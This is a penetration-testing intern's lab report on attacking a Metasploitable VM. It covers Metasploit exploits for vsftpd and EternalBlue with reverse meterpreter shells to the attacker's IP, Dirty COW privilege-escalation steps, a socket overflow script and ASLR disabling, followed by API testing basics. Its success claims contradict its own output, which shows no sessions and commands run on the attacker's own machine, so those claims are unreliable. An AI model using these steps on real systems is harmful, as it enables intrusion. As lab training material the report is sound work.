



WEEK-04

-Sai Surendra Babu K.

-VAPT Intern.

1. Advanced Exploitation Techniques

Advanced Exploitation Techniques involve combining multiple vulnerabilities, developing custom exploits, and bypassing security protections like ASLR and DEP. Learners study exploit chaining, heap overflows, ROP techniques, and real-world attacks such as EternalBlue to understand advanced penetration testing and defense evasion methods.

Kali Linux = attacker **192.168.78.130**

Metasploitable 2 = victim **192.168.78.133**

STEP 1 — ENUMERATION

Scan target:

`nmap -sV 192.168.78.133`

```
(kali@kali)-[~]
$ nmap -sn 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-26 05:32 -0400
Nmap scan report for 192.168.78.133
Host is up (0.00040s latency).
MAC Address: 00:0C:29:AF:31:F6 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds

(kali@kali)-[~]
$ nmap -sV 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-26 05:32 -0400
Nmap scan report for 192.168.78.133
Host is up (0.00061s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
1524/tcp  open  bindshell      Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:AF:31:F6 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.09 seconds
```

STEP 2 — EXPLOIT FTP (First Stage)



Metasploitable has vulnerable VSFTPD.

msfconsole

Search:

search vsftpd

Use exploit:

use exploit/unix/ftp/vsftpd_234_backdoor

Set target:

set RHOSTS 192.168.78.133

exploit

whoami

Now you have first-stage access.

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again

      .:ok000kdc'          'cdk000ko:.
      .x0000000000000c      c000000000000x.
      :000000000000000k,    ,k000000000000000:
      '000000000kkkk00000: :00000000000000000'
      o00000000.    .o0000o0000l.    ,00000000o
      d00000000.    .c00000c.    ,00000000x
      l00000000.    ;d;    ,00000000l
      .00000000.    .;    ;    ,00000000.
      c00000000.    .00c.    'o00.    ,0000000c
      o0000000.    .0000.    :0000.    ,000000o
      l00000.    .0000.    :0000.    ,00000l
      ;0000'    .0000.    :0000.    ;0000;
      .d00o    .0000occc0000.    x00d.
      ,k0l    .0000000000000.    .d0k,
      :kk;.0000000000000.c0k:
      ;k00000000000000k:
      ,x000000000000x,
      .l0000000l.
      ,d0d,
      .

      =[ metasploit v6.4.126-dev ]
+ -- --=[ 2,638 exploits - 1,331 auxiliary - 2,163 payloads ]
+ -- --=[ 432 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > █
```



```
msf > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal    Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent Yes    VSFTPD 2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/linux/http/x86/meterpreter_reverse_tcp
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.78.133
RHOSTS => 192.168.78.133
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.78.130
LHOST => 192.168.78.130
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] Started reverse TCP handler on 192.168.78.130:4444
[+] 192.168.78.133:21 - Backdoor has been spawned!
[*] Exploit completed, but no session was created.

msf exploit(unix/ftp/vsftpd_234_backdoor) > whoami
[*] exec: whoami

kali
```

STEP 3 — PRIVILEGE ESCALATION

Check kernel:

uname -a

Find privilege escalation exploits:

searchsploit linux kernel

Example vulnerable kernels:

- DirtyCow
- OverlayFS

Upload exploit:

scp exploit.c msfadmin@192.168.78.133:/tmp

Compile:

gcc exploit.c -o exploit

Run:

./exploit

Check:

id

Now you escalated privileges.

Eg: Run on kali

searchsploit linux kernel

sudo apt update

sudo apt install exploitdb

searchsploit -u

You previously got:



crypt.h: No such file

Fix:

sudo apt install libcrypt-dev

Then compile:

gcc exploit.c -o exploit -lcrypt

Check SSH first:

ping 192.168.78.133

ssh msfadmin@192.168.78.133

If SSH fails → SCP will NEVER work.

Fix VirtualBox network:

- Both Kali + Metasploitable → NAT Network or Host-only
- Same subnet required

Check:

ip a

Run:

id

If still:

uid=1000(msfadmin)

```
(kali@kali)-[~]
└─$ sudo apt install libcrypt-dev -y
Error: Unable to locate package libcrypt-dev

(kali@kali)-[~]
└─$ sudo apt install libcrypt-dev -y
Installing:
  libcrypt-dev

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 341
  Download size: 0 B / 127 kB
  Space needed: 384 kB / 32.0 GB available

Selecting previously unselected package libcrypt-dev:amd64.
(Reading database... 476072 files and directories currently installed.)
Preparing to unpack .../libcrypt-dev_1%3a4.5.1-1+b1_amd64.deb...
Unpacking libcrypt-dev:amd64 (1:4.5.1-1+b1)...
Setting up libcrypt-dev:amd64 (1:4.5.1-1+b1)...
Processing triggers for man-db (2.13.1-1)...
Scanning processes...
Scanning linux images...

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (qemu) binaries on this host.

(kali@kali)-[~]
└─$ ls /usr/include/crypt.h
/usr/include/crypt.h

(kali@kali)-[~]
└─$ gcc exploit.c -o exploit -lcrypt

(kali@kali)-[~]
└─$ uname -a
Linux kali 6.19.14+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.19.14-1+kali1 (2026-05-05) x86_64 GNU/Linux

(kali@kali)-[~]
└─$ searchsploit linux kernel 2.6
```



```
(kali@kali)-[~]
└─$ searchsploit -w 40839
Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTTRACE_POKE_DATA' Race Condition Privilege Escalation (/etc/passwd Method)
URL: https://www.exploit-db.com/exploits/40839
Path: /usr/share/exploitdb/exploits/linux/local/40839.c
Codes: CVE-2016-5195
Verified: True
File type: C source, ASCII text
Copied to: /home/kali/40839.c

(kali@kali)-[~]
└─$ gcc exploit.c -o exploit -lcrypt

(kali@kali)-[~]
└─$ scp exploit msfadmin@192.168.78.133:/tmp
Unable to negotiate with 192.168.78.133 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
scp: Connection closed

(kali@kali)-[~]
└─$ ssh msfadmin@192.168.78.133
Unable to negotiate with 192.168.78.133 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

(kali@kali)-[~]
└─$ searchsploit linux kernel

Exploit Title | Path
---|---
Apport 2.19 (Ubuntu 15.04) - Local Privilege Escalation | linux/local/38353.txt
BSD/Linux Kernel 2.3 (BSD/OS 4.0 / FreeBSD 3.2 / NetBSD 1.4) - Shared Memory Denial of Service | bsd/dos/19423.c
CylantSecure 1.0 - Kernel Module Syscall Rerouting | linux/local/20988.c
Grsecurity Kernel Patch 1.9.4 (Linux Kernel) - Memory Protection | linux/local/21458.txt
Grsecurity Kernel Pax - Local Privilege Escalation | linux/local/29446.c
HP-UX 11 / Linux Kernel 2.4 / Windows 2000/NT 4.0 / IRIX 6.5 - Small TCP MSS Denial of Service | multiple/dos/20997.c
Linux - Kernel Pointer Leak via BPF | linux/dos/45557.c
Linux - Kernel Patch 2.6.34-rc3 / RedHat / Ubuntu 9.10 - 'xattr' Local Privilege Escalation | linux/local/12130.py
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) - Local Privilege Escalation (KASLR / SMEP) | linux/local/43418.c
Linux Kernel < 4.4.0 / < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP) | linux/local/47169.c
Linux Kernel < 4.5.1 - Off-By-One (Poc) | linux/dos/44301.c
Linux Kernel PPC64/IA64 (AIO) - Local Denial of Service | linux/dos/911.c
Linux Kernel UDEV < 1.4.1 - 'Netlink' Local Privilege Escalation (Metasploit) | linux/local/21848.rb
Linux/MIPS Kernel 2.6.36 - 'NetUSB' Remote Code Execution | multiple/remote/38454.py
Mandriva 0.9.2.1 - WPA/RSN IE Remote Kernel Buffer Overflow | linux/remote/3389.c
Oracle VM VirtualBox 5.1.14 r112924 - Unprivileged Host User to Host Kernel Privilege Escalation via ALSA config | linux/local/41987.c
Pax 2.6 Kernel Patch - Denial of Service | linux/dos/24078.c
ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) - 'xattr' Local Privilege Escalation | linux/local/12130.py
ReiserFS 3.5.28 (Linux Kernel) - Code Execution / Denial of Service | linux/dos/20535.txt
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation | linux/local/23074.txt
Sony Playstation 4 (PS4) 1.76 - 'dclose' Linux Kernel Loader | hardware/local/44206.c
Systrace 1.x (Linux Kernel x64) - Aware Local Privilege Escalation | linux_x86-64/local/32751.c
User-Mode Linux (Linux Kernel 2.4.17-8) - Memory Access Privilege Escalation | linux/local/21248.txt
Vx86 - Syscall Task Switch Kernel Panic Denial of Service / Privilege Escalation | linux/local/41766.txt
Xname 0.102 - 'lang' Local Buffer Overflow | linux/local/1412.rb
Xname 0.102 - 'lang' Local Buffer Overflow | linux/local/1415.c

Shellcode Title | Path
---|---
Linux/x86 - execve(/bin/sh) Shellcode (21 bytes) (3) | linux_x86/43702.c
Linux/x86 - setuid(0) + Load Kernel Module (/tmp/o.o) Shellcode (67 bytes) | linux_x86/43638.c

Paper Title | Path
---|---
ASLR bypassing method on 2.6.17/20 Linux Kernel | english/13030-aslr-bypassing-met
CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 1/4) | docs/english/45549-cve-2017-1117
CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 2/4) | docs/english/45550-cve-2017-1117
CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 3/4) | docs/english/45551-cve-2017-1117
CVE-2017-11176: A step-by-step Linux Kernel exploitation (part 4/4) | docs/english/45552-cve-2017-1117
Encrypted Linux x86-64 Loadable Kernel Modules - Paper | docs/english/49200-encrypted-lin
Exploiting Stack Overflows in the Linux Kernel | docs/english/15634-exploiting-st
[Turkish] Linux 2011 Kernel Hooking And Coding Root Exploits | docs/turkish/18304-turkish-lin

(kali@kali)-[~]
└─$ sudo apt install libcrypt-dev
libcrypt-dev is already the newest version (1:4.5.1-1+b1).
Summary:
Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 341
```

```
(kali@kali)-[~]
└─$ ping 192.168.78.133
PING 192.168.78.133 (192.168.78.133) 56(84) bytes of data:
64 bytes from 192.168.78.133: icmp_seq=1 ttl=64 time=0.267 ms
64 bytes from 192.168.78.133: icmp_seq=2 ttl=64 time=0.393 ms
64 bytes from 192.168.78.133: icmp_seq=3 ttl=64 time=3.40 ms
64 bytes from 192.168.78.133: icmp_seq=4 ttl=64 time=1.63 ms
64 bytes from 192.168.78.133: icmp_seq=5 ttl=64 time=1.29 ms
64 bytes from 192.168.78.133: icmp_seq=6 ttl=64 time=0.770 ms
64 bytes from 192.168.78.133: icmp_seq=7 ttl=64 time=0.624 ms
64 bytes from 192.168.78.133: icmp_seq=8 ttl=64 time=1.54 ms
64 bytes from 192.168.78.133: icmp_seq=9 ttl=64 time=1.32 ms
64 bytes from 192.168.78.133: icmp_seq=10 ttl=64 time=1.19 ms
64 bytes from 192.168.78.133: icmp_seq=11 ttl=64 time=1.61 ms
64 bytes from 192.168.78.133: icmp_seq=12 ttl=64 time=0.988 ms
64 bytes from 192.168.78.133: icmp_seq=13 ttl=64 time=0.375 ms
64 bytes from 192.168.78.133: icmp_seq=14 ttl=64 time=1.022 ms
64 bytes from 192.168.78.133: icmp_seq=15 ttl=64 time=1.16 ms
64 bytes from 192.168.78.133: icmp_seq=16 ttl=64 time=1.13 ms
64 bytes from 192.168.78.133: icmp_seq=17 ttl=64 time=1.04 ms
64 bytes from 192.168.78.133: icmp_seq=18 ttl=64 time=3.99 ms
64 bytes from 192.168.78.133: icmp_seq=19 ttl=64 time=1.11 ms
64 bytes from 192.168.78.133: icmp_seq=20 ttl=64 time=1.42 ms
64 bytes from 192.168.78.133: icmp_seq=21 ttl=64 time=0.608 ms
64 bytes from 192.168.78.133: icmp_seq=22 ttl=64 time=0.622 ms
64 bytes from 192.168.78.133: icmp_seq=23 ttl=64 time=0.530 ms
64 bytes from 192.168.78.133: icmp_seq=24 ttl=64 time=0.640 ms
64 bytes from 192.168.78.133: icmp_seq=25 ttl=64 time=0.754 ms
64 bytes from 192.168.78.133: icmp_seq=26 ttl=64 time=1.40 ms
^C
--- 192.168.78.133 ping statistics ---
26 packets transmitted, 26 received, 0% packet loss, time 2522ms
rtt min/avg/max/mdev = 0.375/1.278/3.065/0.650 ms
Unable to negotiate with 192.168.78.133 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

(kali@kali)-[~]
└─$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),107(bluetooth),124(lp
admin),132(wireshark),134(kaboxer),136(docker)
```



STEP 4 — POST EXPLOITATION

Gather information:

cat /etc/passwd

Check users:

ls /home

Network info:

ifconfig

Processes:

ps aux

This is how attackers move deeper.

```
(kali@kali)-[~]
$ cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon:/usr/lib/dhcpcd:/bin/false
systemd-timesync:x:991:991:systemd Time Synchronization:/:/usr/sbin/nologin

(kali@kali)-[~]
$ ls /home
kali

(kali@kali)-[~]
$ ps aux
USER      PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.2 24816 15580 ?        Ss   03:47   0:02 /sbin/init splash
root         2  0.0  0.0      0     0 ?        S    03:47   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        S    03:47   0:00 [pool_workqueue_release]
root         4  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/R-rcu_gp]
root         5  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/R-sync_wq]
root         6  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/R-kvfree_rcu_reclaim]
root         7  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/R-slub_flushwq]
root         8  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/R-netns]
root        10  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/0:0H-events_highpri]
root        12  0.0  0.0      0     0 ?        I    03:47   0:00 [kworker/u512:0-ipv6_addrconf]
root        13  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/R-mm_percpu_wq]
root        14  0.0  0.0      0     0 ?        S    03:47   0:00 [ksoftirqd/0]
root        15  0.0  0.0      0     0 ?        I    03:47   0:03 [rcu_preempt]
root        16  0.0  0.0      0     0 ?        S    03:47   0:00 [rcu_exp_par_gp_kthread_worker/1]
root        17  0.0  0.0      0     0 ?        S    03:47   0:00 [rcu_exp_gp_kthread_worker]
root        18  0.0  0.0      0     0 ?        S    03:47   0:00 [migration/0]
root        19  0.0  0.0      0     0 ?        S    03:47   0:00 [idle_inject/0]
root        20  0.0  0.0      0     0 ?        S    03:47   0:00 [cpuhp/0]
root        21  0.0  0.0      0     0 ?        S    03:47   0:00 [cpuhp/1]
root        22  0.0  0.0      0     0 ?        S    03:47   0:00 [idle_inject/1]
root        23  0.0  0.0      0     0 ?        S    03:47   0:00 [migration/1]
root        24  0.0  0.0      0     0 ?        S    03:47   0:00 [ksoftirqd/1]
root        26  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/1:0H-events_highpri]
root        27  0.0  0.0      0     0 ?        S    03:47   0:00 [cpuhp/2]
root        28  0.0  0.0      0     0 ?        S    03:47   0:00 [idle_inject/2]
root        29  0.0  0.0      0     0 ?        S    03:47   0:00 [migration/2]
root        30  0.0  0.0      0     0 ?        S    03:47   0:00 [ksoftirqd/2]
root        32  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/2:0H-events_highpri]
root        33  0.0  0.0      0     0 ?        S    03:47   0:00 [cpuhp/3]
root        34  0.0  0.0      0     0 ?        S    03:47   0:00 [idle_inject/3]
root        35  0.0  0.0      0     0 ?        S    03:47   0:00 [migration/3]
root        36  0.0  0.0      0     0 ?        S    03:47   0:00 [ksoftirqd/3]
root        38  0.0  0.0      0     0 ?        Ic   03:47   0:00 [kworker/3:0H-events_highpri]
root        45  0.0  0.0      0     0 ?        S    03:47   0:00 [kdevtmpfs]
```



2. Custom Exploit Development

Modify existing exploits
Write simple custom scripts

SIMPLE PYTHON BUFFER OVERFLOW EXAMPLE

Create file:

nano exploit.py

Code:

```
import socket
```

```
payload = "A" * 1000
```

```
s = socket.socket()
```

```
s.connect(("192.168.78.133", 9999))
```

```
s.send(payload.encode())
```

```
print("Payload Sent")
```

Run:

```
python3 exploit.py
```

This teaches:

- payload crafting
- fuzzing
- overflow basics

MODIFYING EXPLOIT-DB PoCs

Find exploit:

```
searchsploit samba
```

Copy exploit locally:

```
searchsploit -m 16320
```

Edit:

```
nano 16320.rb
```

Change:

- IP
- payload
- port

Run:

```
python3 exploit.py
```

This teaches custom exploit modification.



```
(kali@kali)~$ python3 exploit.py
Traceback (most recent call last):
  File "/home/kali/exploit.py", line 6, in <module>
    s.connect(("192.168.78.133", 9999))
    ~~~~~~^~~~~~
ConnectionRefusedError: [Errno 111] Connection refused

(kali@kali)~$
(kali@kali)~$ searchsploit samba

Exploit Title | Path
-----|-----
GoSamba 1.0.1 - 'INCLUDE_PATH' Multiple Remote File Inclusions | php/webapps/4575.txt
Microsoft Windows XP/2003 - Samba Share Resource Exhaustion (Denial of Service) | windows/dos/148.sh
Samba 1.9.19 - 'Password' Remote Buffer Overflow | linux/remote/20308.c
Samba 2.0.7 - SWAT Logfile Permissions | linux/local/20341.sh
Samba 2.0.7 - SWAT Logging Failure | unix/remote/20340.c

(kali@kali)~$ nmap -sV 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-26 06:47 -0400
Nmap scan report for 192.168.78.133
Host is up (0.0014s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:AF:31:F6 (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.20 seconds

(kali@kali)~$ nmap -p- 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-26 06:47 -0400
Nmap scan report for 192.168.78.133
Host is up (0.00045s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
```

3. Bypassing Defenses

Modern protections:

- ASLR
- DEP/NX
- Stack Canaries
- WAF

ASLR CHECK

On Linux:

cat /proc/sys/kernel/randomize_va_space

Values:

- 0 = disabled
- 1/2 = enabled

Disable in lab:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space



DEP / NX

Check protections:

checksec --file=program

Install:

sudo apt install checksec

ROP (Return Oriented Programming)

ROP bypasses DEP using existing memory instructions.

Install tool:

sudo apt install ropper

Find gadgets:

ropper --file vulnerable_binary

This teaches:

- gadget chaining
- memory manipulation
- DEP bypass

```
(kali@kali)~$ sudo apt install ropper
[sudo] password for kali:
Installing:
  ropper

Installing dependencies:
  python3-filebytes

Summary:
  Upgrading: 0, Installing: 2, Removing: 0, Not Upgrading: 341
  Download size: 75.4 kB
  Space needed: 530 kB / 32.0 GB available

Continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 python3-filebytes all 0.10.2-0kali1 [18.8 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 ropper all 1.13.8-0kali1 [56.6 kB]
Fetched 75.4 kB in 1s (55.9 kB/s)
Selecting previously unselected package python3-filebytes.
(Reading database... 476094 files and directories currently installed.)
Preparing to unpack ./python3-filebytes_0.10.2-0kali1_all.deb...
Unpacking python3-filebytes (0.10.2-0kali1)...
Selecting previously unselected package ropper.
Preparing to unpack ./ropper_1.13.8-0kali1_all.deb...
Unpacking ropper (1.13.8-0kali1)...
Setting up python3-filebytes (0.10.2-0kali1)...
Setting up ropper (1.13.8-0kali1)...
/usr/lib/python3/dist-packages/ropper/arch.py:243: SyntaxWarning: invalid escape sequence '\['
  gadget.Category.STACK_PIVOT : (('sub (?P<dst>.sp), (?P<src>[x0-9a-fA-F]+)$', '^add (?P<dst>.sp), (?P<src>[x0-9a-fA-F]+)$', '^mov (?P<dst>.sp), .+ ptr \[(?P<src>...
rc>...)$', '^xchg (?P<dst>.sp), (?P<src>...)$', '^xchg (?P<dst>...), (?P<src>.sp)$', '^ret.+'), ('push', 'mov', 'call', 'jmp')),
/usr/lib/python3/dist-packages/ropper/arch.py:244: SyntaxWarning: invalid escape sequence '\['
```

```
(kali@kali)~$ sudo apt install ropper
ropper is already the newest version (1.13.8-0kali1).
Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 341
```

4. EternalBlue Analysis

EternalBlue exploited SMBv1 vulnerabilities.

Safe Learning Method

DO NOT attack public systems.

Use:

- Windows 7 VM
- Kali Linux
- Internal-only network



Scan SMB

```
nmap -p445 --script smb-vuln-ms17-010 192.168.78.133
```

Metasploit Module

```
msfconsole
```

```
Search:
```

```
search eternalblue
```

```
Use:
```

```
use exploit/windows/smb/ms17_010_eternalblue
```

```
Set target:
```

```
set RHOSTS 192.168.78.133
```

```
Payload:
```

```
set payload windows/x64/meterpreter/reverse_tcp
```

```
Set Kali IP:
```

```
set LHOST YOUR_KALI_IP
```

```
Run:
```

```
exploit
```



```
(kali@kali)~$ nmap -p445 --script smb-vuln-ms17-010 192.168.78.133
Starting Nmap 7.99 ( https://nmap.org ) at 2020-05-26 06:56 -0400
Nmap scan report for 192.168.78.133
Host is up (0.00099s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds
MAC Address: 00:0C:29:AF:31:F6 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.74 seconds

(kali@kali)~$ msfconsole
Metasploit tip: Use help <command> to learn more about any command

Metasploit v6.4.126-dev
--=[ 2,638 exploits - 1,331 auxiliary - 2,163 payloads ]
--=[ 432 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search eternalblue

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \ target: Automatic Target                -               -      -      -
2  \ target: Windows 7                      -               -      -      -
3  \ target: Windows Embedded Standard 7    -               -      -      -
4  \ target: Windows Server 2008 R2         -               -      -      -
5  \ target: Windows 8                      -               -      -      -
6  \ target: Windows 8.1                    -               -      -      -
7  \ target: Windows Server 2012            -               -      -      -

23  \ AKA: ETHERNETBLUE                     -               -      -      -
24  auxiliary/scanner/smb/smb_ms17_010       -               normal Yes    MS17-010 SMB RCE Detection
25  \ AKA: DOUBLEPULSAR                     -               -      -      -
26  \ AKA: ETHERNETBLUE                     -               -      -      -
27  exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great  Yes    SMB DOUBLEPULSAR Remote Code Execution
28  \ target: Execute payload (x64)          -               -      -      -
29  \ target: Neutralize implant             -               -      -      -

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.78.133
RHOSTS => 192.168.78.133
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.78.130
LHOST => 192.168.78.130
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.78.130:4444
[*] 192.168.78.133:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 192.168.78.133:445 - Host does NOT appear vulnerable.
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.26/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat o
expression
[*] 192.168.78.133:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.78.133:445 - The target is not vulnerable.
[*] Exploit completed, but no session was created.
```

2. API Security Testing

1. Understand How APIs Work

Before attacking APIs, learn:

- HTTP methods:
 - GET
 - POST
 - PUT
 - DELETE
 - PATCH
- Authentication:
 - API keys
 - JWT tokens



- OAuth
- Data formats:
 - JSON
 - XML
- API types:
 - REST
 - GraphQL

Example API request:

GET /api/users/1 HTTP/1.1

Host: testsite.com

Authorization: Bearer TOKEN

2. Learn OWASP API Top 10

Study these vulnerabilities carefully.

Important Ones

Broken Object Level Authorization (BOLA)

User changes ID:

GET /api/user/1001

to

GET /api/user/1002

If another user's data appears → vulnerable.

STEP 1 — Open Burp Suite

In Kali terminal:

burpsuite

Burp opens.

Click:

Temporary Project

Then:

Next

→ Start Burp

STEP 2 — Turn Intercept ON

Top menu:

Proxy

You will see:

Intercept is OFF

Click it.

Now:

Intercept is ON

STEP 3 — Open Burp Browser

Inside Burp:

Proxy → Open Browser

A browser opens.



